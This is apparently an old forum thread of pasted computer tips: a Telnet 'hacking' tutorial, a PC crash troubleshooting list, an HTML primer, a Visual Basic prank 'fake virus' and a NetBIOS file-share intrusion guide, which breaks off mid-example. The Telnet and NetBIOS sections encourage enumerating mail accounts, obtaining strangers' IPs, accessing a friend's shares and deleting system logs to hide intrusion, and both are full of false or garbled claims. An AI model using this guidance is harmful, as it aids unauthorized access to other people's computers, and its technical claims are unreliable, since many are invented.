Tips & Tricks Collection of DC

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In this Thread you will find the Computer Tips & Tricks in all the categories…


Please take time to comment on every post you have seen in here.


Thank You..!!!

 

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Telnet - A Tutorial to Telnet and Hacking

Now you may be looking at this going, "What the hell is Telnet?". If you are, don't worry, I'll explain everything. First of all, Telnet is software that allows you to connect to another Telnet Host.In windows systems Telnet is usually called Telnet32.exe or Telnet.exe. In newer versions of windows it is Telnet32.exe.
*** Note to Windows XP users: Don't go and get the old version of Telnet, because you have a DOS-Based one. I'll give commands along this guide so you can enjoy it too. You have to either run "Telnet" or "cmd" and then "Telnet".

Telnet is not illegal and is used by thousands of remote computers to interchange data, share connections, and do many other things that would be impossible without it.The default port for Telnet is port 23. When I say for instance, 'Connect to the sys' I am referring to connecting on the system's default port for Telnet. Sometimes you can't determine a port so you will have to port scan a sys to find the Telnet Ports.
Port 25 is the 'Sendmail Protocol' port. We will be dealing with this port as well.

Telnet Security
Because there are so many problems with Telnet today involving cyber crime and hacking, SysAdmins often restrict anonymous use of their sys's Telnet Proxies. This is cheap and can be bypassed easily.Most SysAdmins are amatures at what they do and make me laugh.They restrict the Telnet proxies on port 23 and think that we can't telnet to other ports such as 81 and 25 because we can't use the Telnet Proxy. Well they are wrong. We can easily do it and we will. Let me point out a system that has this and was not effective. I will star out the IP for privacy.

Welcome to Micrsft Telnet. Telnet32.exe.
o
<to> 202.232.**.**
connecting to 202.232.**.** 23 (The port number)
Connected.
Connection to host lost (unauthorized use of Telnet Proxy(ies).
o
<to> 202.232.**.** 25
Connecting to 202.232.**.** 25 (Watch this..)
Welcome to ********.net Sendmail Program. Welcome to all staff.
vrfy bin
..550 <bin@********.net>
vrfy sys
..550 <sys@********.net>
vrfy root
..550 <root********.net>
vrfy admin
..550 <admin@********.net>
vrfy games
..550 <games@********.net>
vrfy uucp
..550 <uucp@********.net>
q
..550 <command not recognized>
c
Connection to host lost on command.

Ok people is there a problem there? How many addys did I get? Am I supposed to have those? Do I care? No. I am just demonstrating how sh1tty Unix-System security is and how easy it is to use the Telnet Proxy to your advantage. Here, I wil list some commands for all of you running under DOS.

C - Close the Current Connection
D - Display the sys's operating paremeters
O - Connect to a host name (on default port 23) [port]
q - Quit (Exit Telnet).
Set- Set Options
Send - Send data/strings to server

Telnet, as you know so far, is a very useful tool for hackers. Hell, if you can't connect to a computer, you can't hack it. Its that simple.Now the best thing about Telnet is that virtually every Windows computer has it, comes with it, and is able to run it.
Things going wrong on hacking or telnet
I have a Windows 98 computer and I am running Telnet. It gives me a lot more options when connecting to a computer, and these commands don't go anywhere! What do I do? I get the hostname part and all that, just what does Term-Type mean?

Ok people, so many people have asked me this I'm ready to start getting an auto-flame response on my e-mail box LoL. Anyway, here goes:

Term Type means Terminal Type. It is the version of the Telnet Terminal that the host or server is running. You have to specify this, Telnet is not hacker-friendly.

In Windows 98/95/ME you are not running a DOS-Based version of Telnet. You get a client program, somewhat considered shit for me. I like the DOS based one and frankly, I find it a lot easier to use.
I can't connect to the host!
Well, the host either doesn't exist, does not support Telnet Packets or Connections, or is currently restricting proxy access or usage from your addy or all addresses. I went further than you because I thought I knew what I was doing! I got this message saying my hacking attempt was logged! Am I going to go to jail!?!?!

Don't worry, as long as its not with the extension .log or .hlog or .hacklog you're fine, as 95 percent of these messages are BS and lies.

IF THEY'RE LIES, how come they knew I was hacking them?

They don't. They simply search for incoming connections not recognized by the server. If the SysAdmins didn't modify the message, you would have gotten this:

"Error 229292: Data not recognized 8191: Distinct Remote Service Lost or Corrupt."

They just modified it. Breath in, breath out, relax.
My dad or mom found out I was hacking, and my dad's an expert on computers! He made it so I can't view anything on AOL. What the hell's going on! Give me a trick to evade this!

Sure thing. Connect to AOL, ping the site you're trying to view, and type in the IP address. You will get to the homepage, but this isn't that good a trick because you can't ping sub-addys and you're going to get text for the sub-urls. This might or might now work.
I was screwing around with my friends computer. I think I left my information somewhere, but where?

Usually, you have a critical system log. If you delete a system file (which unless you're 133t you'd NEVER EVER do) the computer's going to boot and give you a log of what happened before the deletion of the file so you know what went wrong. If you did happen to delete it, it will list something like "deletion from x.x.x.x. (your IP)". If it does, damn, you're busted. But there are ways of getting rid of this "hacker-knock out". First off, get a WAN-Controller, or any sort of program that lets you input screen or Hardware input by the output. This means you can control their computer with yours. But you can't boot this computer, because it will break the connection.

Access the log files usually in system or system32 (both system files located in C:/Windows or C:/). There, you will see encrypted sh1t. CTRL+A will select it all and delete it all. If you do delete this file, (after you do), try recovering the system file. WHATEVER YOU DO DON'T DO A SYSTEM RESTORE, YOU HAVE BEEN WARNED.
Some hacker has my IP and hacks it every time I log on. It's static, which means it doesn't change. How do I make him stop? I don't know what his IP is, either!

Go to start, run, "netstat -a". Hacking is almost equivalent to connecting, if he's hacking you your connected to him and he's connected to you. Netstat -a is a command that allows you to see all your connections to hosts and servers, associated with TCP/IP. If you see a hostname that you don't recognize, log it. In fact, click Print Screen, go to paint, CTRL+V, Crop the image of the DOS window for Netstat, and save it. That should be quite easy.

 

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10 Reasons why PCs Crash U must Know!!!

Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses M'zoft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1 Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to M'zoft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2 Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3 BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

M'zoft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4 Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5 Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6 Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates. Another is Norton AntiVirus 2000, made by Symantec.

7 Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8 Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system.

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9 Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10 Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

 

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Quick guide to HTML

Well, if you've ever wanted to have you're own webpage on the internet, you know that it can be pretty frustrating trying to find out how. What you need to know is that building a page requires knowledge of HTML, which stands for Hyper Text Markup Language. Behind every page is a large amount of code. But what is this code if you don't know what it means?

Nothing. It's absolutely nothing, and if you want to make something at the undisputed easiest language on the internet, you should keep reading.I will provide four scripts. Each time I add a new tag to the script, I will explain the new tag just like I did the rest. I used tabs for easier reading.

First of all, lets start up with something simple. I'll explain the tags after I'm finished with the code.

<html>
<body bgcolor="#C0C0C0">
<title>New HTML Page</title>
<font face="Verdana" size="15" color="red">
<!- The text here is important ->
<body>
Welcome to my new HTML page. You need no knowledge of HTML
to view this page.



It was made by me,

(Your Name)
</body>
</font>
</html>

Now, lets take it step by step.
<html> and </html>
These tags mark the beginning and the end of an HTML document. These documents end with .html or .htm extensions.

<body bgcolor="#hex or color">
This specifies the page's background color. You can either enter a hexidecimal string for the color, or thanks to new upgrades in browsers, just specify a color, such as "red".

<title> and </title>
Mark the beginning and the end of the text located at the top of the browser. Any text is allowed here.

<font face="font" size="size" color="color or #hex"> and </font>
This is to specify the type of font used for the text following it. Note that also you can write each "sub-tag" such as "face", "size", and "color" as its own tag, like this.
<font face="font> </font>
<font size="size"> </font size>
<font color="color or #hex"> </font color>

But you have to close them individually, so it's quicker to just incorporate them into one tag.

This is a commentary tag. The text within this tag will not show up on the page, and does not affect this page as long as you close the comment with --> or --!> (the number of underscores does not matter). These tags are used to give the reader of the HTML source accompanying the page he or she is reading some information about the site, such as the author or date of publication.

<body> and </body>
Mark the beginning of the body of a document. Not necessary, but are often used to organize the document a little better.




A paragraph tag. Each tag inserted creates a new paragraph.



A line break. Each tag inserted automatically puts the next text or image at the next line.Now that you know some basic tags, lets get on to a script that's a "step" higher.

<html>
<body bgcolor="#800000">
<title>HTML PAGE 2</title>
<font face="verdana" size="14" color="#cccccc">
<p align="center">
<body>

Welcome to my HTML page. If you need to learn more about HTML, click
here.
</p>
</font>
</body>
</html>

<p align="center"> and </p>
"align" is a "sub-tag" for

. It is used to specify the alignment of the text within the new paragraph.

This inserts an image where it is placed.

and
This tag inserts a hyperlink. The link is specified in the "href" section of the link, and the text directly after the first tag is closed. After you have already typed the text that you wish to hyperlink and you are ready to end the link, you end the tag, using
</a>.

Lets go on to another script.

<html>
<body bgcolor="#800000">
<title>HTML PAGE 3</title>
<font face="verdana" size="14" color="#cccccc">
<p align="center">
<body>
<table>
<tr><td bgcolor="green">
<marquee>Welcome to my page. It is a page about HTML, but you do not need knowledge of HTML
to view it.</marquee></tr></td></table>


<a href="page.html">

</a>



Welcome to my HTML page. If you need to learn more about HTML, click
here. Although you may wish to learn
more about HTML, I can only provide so much information, since my website is on limited
space, and my cheap host only gave me eighty kilobytes.
</p>
</font>
</body>
</html>

<table> and </table>
Starts a table. The cells and rows are made with the following.

<TR> and </TR>
Specifies a new row.

<TD> and </TD>
Specifies a new cell.

<marquee> and </marquee>
Starts a marquee. A marquee is a line of text that scrolls across the screen. Some viewers find it annoying, so I put it in its own little table cell to make it look more organized.

and
style="text-decoration: none"
This specifies that you want the link which you are inserting to have no underline, or text-decoration. Without this, by default, most browsers underline hyperlinks.

<html>
<style>
body {
scrollbar-arrow-color: black; scrollbar-base-color: gray
}
</style>
<body bgcolor="#800000" text="#000000" alink="#000080" link="#000080" vlink="#000080">
<title>HTML PAGE 4</title>
<font face="verdana" size="14">
<p align="center">
<body>
<table bordercolor="gray" bgcolor="red">
<tr><td>
<marquee>Welcome to my page. It is a page about HTML, but you do not need knowledge of HTML
to view it.</marquee></tr></td></table>


<a href="page.html">

</a>



Welcome to my HTML page. If you need to learn more about HTML, click
here. Although you may wish to learn more about HTML, I can only provide so much information, since my website is on limited space, and my cheap host only gave me eighty kilobytes.
</p>
</font>
</body>
</html>


<body> and </body>
text="color or #hex" =Specifies the color of plain text for the whole page.
alink="color or #hex ="Specifies the color of the active links for the whole page.
link="color or #hex" =Specifies the color for the regular links for the whole page.
vlink="color or #hex" =Specifies the color for the visited links for the whole page.

<table> and </table>
bordercolor="color or #hex" =Specifies the border color for the table.
bgcolor="color or #hex" =Specifies the background color for the table.

<td> and </td>
bgcolor="color or #hex" =Specifies the background color for that specific cell.

<html>

<style>
body {
scrollbar-arrow-color: black; SCROLLBAR-BASE-COLOR: gray
}
</style>
<body bgcolor="#800000" text="#000000" alink="#000080" link="#000080" vlink="#000080">
<title>HTML PAGE 4</title>
<font face="verdana" size="14">
<p align="center">
<body>
<table bordercolor="gray" bgcolor="red">
<tr><td>
<marquee>Welcome to my page. It is a page about HTML, but you do not need knowledge of HTML
to view it.</marquee></tr></td></table>


<a href="page.html">

</a>



Welcome to my HTML page. If you need to learn more about HTML, click
here. Although you may wish to learn more about HTML, I can only provide so much information, since my website is on limited space, and my cheap host only gave me three kilobytes.
</p>
</font>
</body>
</html>


The last, and certainly least thing we are going to talk about are comments. These tags are a waste of bytes really; all they do is give the reader of the source information about it. They do not show up on the finished product.

= HTML Generators =

HTML Generators are programs that allow you to design a page, and while you design it, the HTML for whatever you add to the page is generated. Such programs include ********* Frontpage and Dreamweaver.

I use Frontpage a lot simply because it saves time. Opening up notepad and writing an entire site can be timely, while Frontpage is efficient and quick.

I hope this guide helped you learn a little about HTML. For all you HTML masters, we all forget things sometimes and need a reference guide.

 

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Fake Virus

Ok in this tutorial i'll show you how to creat a .bat file to save in the directory of where the program is to make it look like it just infected u with a virus but all it is is some text. All you need in your window is one command button called Enter.

So go ahead and create that.

Now for the code...

Private Sub Command1_Click()
    
    WriteAFile "virus.bat", "@echo off" & vbCrLf & _
            "echo. Deleting All Information..." & vbCrLf & _
            "echo. Cleaning up C:\ Drive..." & vbCrLf & _
            "echo. Virus Complete" & vbCrLf & _
            "Pause" ' Writes the Fake text

    Shell "virus.bat", vbNormalNoFocus 'Executes the Fake Virus
End Sub

Private Function WriteAFile(Filename1 As String, WhatToWrite As String) ' The function, do not modify it....
    On Error GoTo ErrorControl
    Dim FileType As Integer
    FileType = FreeFile
    Open Filename1 For Output As #FileType
        Print #FileType, WhatToWrite
    Close #FileType
ErrorControl:
    If Err <> 0 Then
        MsgBox "Wrong File Name or File Path!", vbCritical, "Error"
    End If
End Function

 

[cjb]

ela ela thawa dahan

 

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ela ela thawa dahan

Of coz machan...

 

[zero]

elazzzzzzzzzzz gud work ube collection ekata thawath collection ekeka >>>>>>>>>>>>.keep going

 

[||~DxxCxxxx~||]

Hacking with BIOS

Introduction

1. Welcome to the basic NETBIOS document created by aCId_rAIn. This document will teach you some simple things about NETBIOS, what it does, how to use it, how to hack with it, and some other simple DOS commands that will be useful to you in the future. THIS DOCUMENT IS FOR NEWBIEZ ONLY!!! If you are NOT a newbie then don't go any farther reading this because if you're smart enough you probably already know it all. So don't waste yourt time reading something that you already know.

1. Hardware and Firmware

1a. The BIOS
The BIOS, short for Basic Input/Output Services, is the control program of the PC. It is responsible for starting up your computer, transferring control of the system to your operating system, and for handling other low-level functions, such as disk access.
NOTE that the BIOS is not a software program, insofar as it is not purged from memory when you turn off the computer. It's
firmware, which is basically software on a chip.

A convenient little feature that most BIOS manufacturers include is a startup password. This prevents access to the system until you enter the correct password.
If you can get access to the system after the password has been entered, then there are numerous software-based BIOS password extractors available from your local H/P/A/V site.


NETBIOS/NBTSTAT - What does it do?

2. NETBIOS, also known as NBTSTAT is a program run on the Windows system and is used for identifying a remote network or computer for file sharing enabled. We can expoit systems using this method. It may be old but on home pc's sometimes it still works great. You can use it on your friend at home or something. I don't care what you do, but remember, that you are reading this document because you want to learn. So I am going to teach you. Ok. So, you ask, "How do i get to NBTSTAT?" Well, there are two ways, but one's faster.

Method 1:Start>Programs>MSDOS PROMPT>Type NBTSTAT
Method 2:Start>Run>Type Command>Type NBTSTAT
(Note: Please, help your poor soul if that isn't like feeding you with a baby spoon.)

Ok! Now since you're in the DOS command under NBTSTAT, you're probably wondering what all that crap is that's on your screen. These are the commands you may use. I'm only going to give you what you need to know since you are striving to be l33t. Your screen should look like the following:

NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n]
[-r] [-R] [-RR] [-s] [-S] [interval] ]

-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
-c (cache) Lists NBT's cache of remote [machine] names and their IP addresses
-n (names) Lists local NetBIOS names.
-r (resolved) Lists names resolved by broadcast and via WINS
-R (Reload) Purges and reloads the remote cache name table
-S (Sessions) Lists sessions table with the destination IP addresses
-s (sessions) Lists sessions table converting destination IP addresses to computer NETBIOS names.
-RR (ReleaseRefresh) Sends Name Release packets to WINS and then, starts Refresh

RemoteName Remote host machine name.
IP address Dotted decimal representation of the IP address.
interval Redisplays selected statistics, pausing interval seconds between each display. Press Ctrl+C to stop redisplaying
statistics.

C:\WINDOWS\DESKTOP>

The only two commands that are going to be used and here they are:

-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.

Host Names

3. Now, the -a means that you will type in the HOST NAME of the person's computer that you are trying to access. Just in case you don't have any idea what a Host Name looks like here's an example.

123-fgh-ppp.internet.com

there are many variations of these adresses. For each different address you see there is a new ISP assigned to that computer. look at the difference.

abc-123.internet.com
ghj-789.newnet.com

these are differnet host names as you can see, and, by identifying the last couple words you will be able to tell that these are two computers on two different ISPs. Now, here are two host names on the same ISP but a different located server.

123-fgh-ppp.internet.com
567-cde-ppp.internet.com

IP Addresses

4. You can resolce these host names if you want to the IP address (Internet Protocol)
IP addresses range in different numbers. An IP looks like this:

201.123.101.123

Most times you can tell if a computer is running on a cable connection because of the IP address's numbers. On faster connections, usually the first two numbers are low. here's a cable connection IP.

24.18.18.10

on dialup connections IP's are higher, like this:

208.148.255.255

notice the 208 is higher than the 24 which is the cable connection.

REMEMBER THOUGH, NOT ALL IP ADDRESSES WILL BE LIKE THIS.
Some companies make IP addresses like this to fool the hacker into believing it's a dialup, as a hacker would expect something big, like a T3 or an OC-18. Anyway This gives you an idea on IP addresses which you will be using on the nbtstat command.

Getting The IP Through DC (Direct Connection)

5. First. You're going to need to find his IP or host name. Either will work. If you are on mIRC You can get it by typing /whois (nick) ...where (nick) is the persons nickname without parenthesis. you will either get a host name or an IP. copy it down. If you do not get it or you are not using mIRC then you must direct connect to their computer or you may use a sniffer to figure out his IP or host name. It's actually better to do it without the sniffer because most sniffers do not work now-a-days. So you want to establish a direct connection to their computer. OK, what is a direct connection? When you are:

Sending a file to their computer you are directly connected.
AOL INSTANT MESSENGER allows a Direct Connection to the user if accepted.
ICQ when sending a file or a chat request acception allows a direct connection.
Any time you are sending a file. You are directly connected. (Assuming you know the user is not using a proxy server.)
Voice Chatting on Yahoo establishes a direct connection.

If you have none of these programs, either i suggest you get one, get a sniffer, or read this next statement.

If you have any way of sending thema link to your site that enables site traffic statistics, and you can log in, send a link to your site, then check the stats and get the IP of the last visitor. It's a simple and easy method i use. It even fool some smarter hackers, because it catches them off guard. Anyway, once you are directly connected use either of the two methods i showed you earlier and get into DOS. Type NETSTAT -n. NETSTAT is a program that's name is short for NET STATISTICS. It will show you all computers connected to yours. (This is also helpful if you think you are being hacked by a trojan horse and is on a port that you know such as Sub Seven: 27374.) Your screen should look like this showing the connections to your computer:

------------------------------------------------------------------------------------------------

C:\WINDOWS\DESKTOP>netstat -n

Active Connections

Proto Local Address Foreign Address State
TCP 172.255.255.82:1027 205.188.68.46:13784 ESTABLISHED
TCP 172.255.255.82:1036 205.188.44.3:5190 ESTABLISHED
TCP 172.255.255.82:1621 24.131.30.75:66 CLOSE_WAIT
TCP 172.255.255.82:1413 205.188.8.7:26778 ESTABLISHED
TCP 172.255.255.82:1483 64.4.13.209:1863 ESTABLISHED

C:\WINDOWS\DESKTOP>

------------------------------------------------------------------------------------------------

The first line indicated the Protocol (language) that is being used by the two computers.
TCP (Transfer Control Protocol) is being used in this and is most widely used.

Local address shows your IP address, or the IP address of the system you on.

Foreign address shows the address of the computer connected to yours.

State tells you what kind of connection is being made ESTABLISHED - means it will stay connected to you as long as you are on the program or as long as the computer is allowing or is needing the other computers connection to it. CLOSE_WAIT means the connection closes at times and waits until it is needed or you resume connection to be made again. One that isn't on the list is TIME_WAIT which means it is timed. Most Ads that run on AOL are using TIME_WAIT states.

the way you know the person is directly connected to your computer is because of this:

------------------------------------------------------------------------------------------------

C:\WINDOWS\DESKTOP>netstat -n

Active Connections

Proto Local Address Foreign Address State
TCP 172.255.255.82:1027 205.188.68.46:13784 ESTABLISHED
TCP 172.255.255.82:1036 205.188.44.3:5190 ESTABLISHED
TCP 172.255.255.82:1621 24.131.30.75:66 CLOSE_WAIT
TCP 172.255.255.82:1413 abc-123-ppp.webnet.com ESTABLISHED
TCP 172.255.255.82:1483 64.4.13.209:1863 ESTABLISHED

C:\WINDOWS\DESKTOP>

------------------------------------------------------------------------------------------------

Notice the host name is included in the fourth line instead of the IP address on all. This is almost ALWAYS, the other computer that is connected to you. So here, now, you have the host name:

abc-123-ppp.webnet.com

If the host name is not listed and the IP is then it NO PROBLEM because either one works exactly the same. I am using abc-123-ppp.webnet.com host name as an example. Ok so now you have the IP and/or host name of the remote system you want to connect to. Time to hack!

Open up your DOS command. Open up NBTSTAT by typing NBTSTAT. Ok, there's the crap again. Well, now time to try out what you have leanred from this document by testing it on the IP and/or host name of the remote system. Here's the only thing you'll need to know.

IMPORTANT, READ NOW!!!

-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.

Remember this?
Time to use it.

-a will be the host name
-A will be the IP

How do i know this?
Read the Statements following the -a -A commands. It tells you there what each command takes.

So have you found which one you have to use?

GOOD!
Time to start.

Using it to your advantage

6. Type this if you have the host name only.
NBTSTAT -a (In here put in hostname without parenthesis)

Type this is you have the IP address only.
NBTSTAT -A (In here put in IP address without parenthesis)

Now, hit enter and wait. Now Either one of two things came up
1. Host not found
2. Something that looks like this:

--------------------------------------------

NetBIOS Local Name Table

Name Type Status
---------------------------------------------
GMVPS01 <00> UNIQUE Registered
WORKGROUP <00> GROUP Registered
GMVPS01 <03> UNIQUE Registered
GMVPS01 <20> UNIQUE Registered
WORKGROUP <1E> GROUP Registered

---------------------------------------------

If the computer responded "Host not found" Then either one of two things are the case:

1. You screwed up the host name.
2. The host is not hackable.
If number one is the case you're in great luck. If two, This system isn't hackable using the NBTSTAT command. So try another system.

If you got the table as above to come up, look at it carefully as i describe to you each part and its purpose.

Name - states the share name of that certain part of the computer

<00>, <03>, <20>, <1E> - Are the Hexidecimal codes giving you the services available on that share name.

Type - Is self-explanatory. It's either turned on, or activated by you, or always on.

Status - Simply states that the share name is working and is activated.

Look above and look for the following line:

GMVPS01 <20> UNIQUE Registered

See it?
GOOD! Now this is important so listen up. The Hexidecimanl code of <20> means that file sharing is enabled on the share name that is on that line with the hex number. So that means GMVPS01 has file sharing enabled. So now you want to hack this. Here's How to do it. (This is the hard part)

LMHOST File

7. There is a file in all Windows systems called LMHOST.sam. We need to simply add the IP into the LMHOST file because LMHOST basically acts as a network, automatically logging you on to it. So go to Start, Find, FIles or Folders. Type in LMHOST and hit enter. when it comes up open it using a text program such as wordpad, but make sure you do not leave the checkmark to "always open files with this extension" on that. Simply go through the LMHOST file until you see the part:



# This file is compatible with ********* LAN Manager 2.x TCP/IP lmhosts
# files and offers the following extensions:
#
# #PRE
# #DOM:
# #INCLUDE
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
# Following any entry in the file with the characters "#PRE" will cause
# the entry to be preloaded into the name cache. By default, entries are
# not preloaded, but are parsed only after dynamic name resolution fails.
#
# Following an entry with the "#DOM:" tag will associate the
# entry with the domain specified by . This affects how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary to also add a
# #PRE to the line. The is always preloaded although it will not
# be shown when the name cache is viewed.
#
# Specifying "#INCLUDE " will force the RFC NetBIOS (NBT)
# software to seek the specified and parse it as if it were
# local. is generally a UNC-based name, allowing a
# centralized lmhosts file to be maintained on a server.
# It is ALWAYS necessary to provide a mapping for the IP address of the
# server prior to the #INCLUDE. This mapping must use the #PRE directive.
# In addtion the share "public" in the example below must be in the
# LanManServer list of "NullSessionShares" in order for client machines to
# be able to read the lmhosts file successfully. This key is under
# \machine\system\currentcontrolset\services\lanmans erver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found there.
#
# The #BEGIN_ and #END_ALTERNATE keywords allow multiple #INCLUDE
# statements to be grouped together. Any single successful include
# will cause the group to succeed.
#
# Finally, non-printing characters can be embedded in mappings by
# first surrounding the NetBIOS name in quotations, then using the
# \0xnn notation to specify a hex value for a non-printing character.

Read this over and over until you understand the way you want your connection to be set. Here's an example of how to add an IP the way I would do it:

#PRE #DOM:255.102.255.102 #INCLUDE

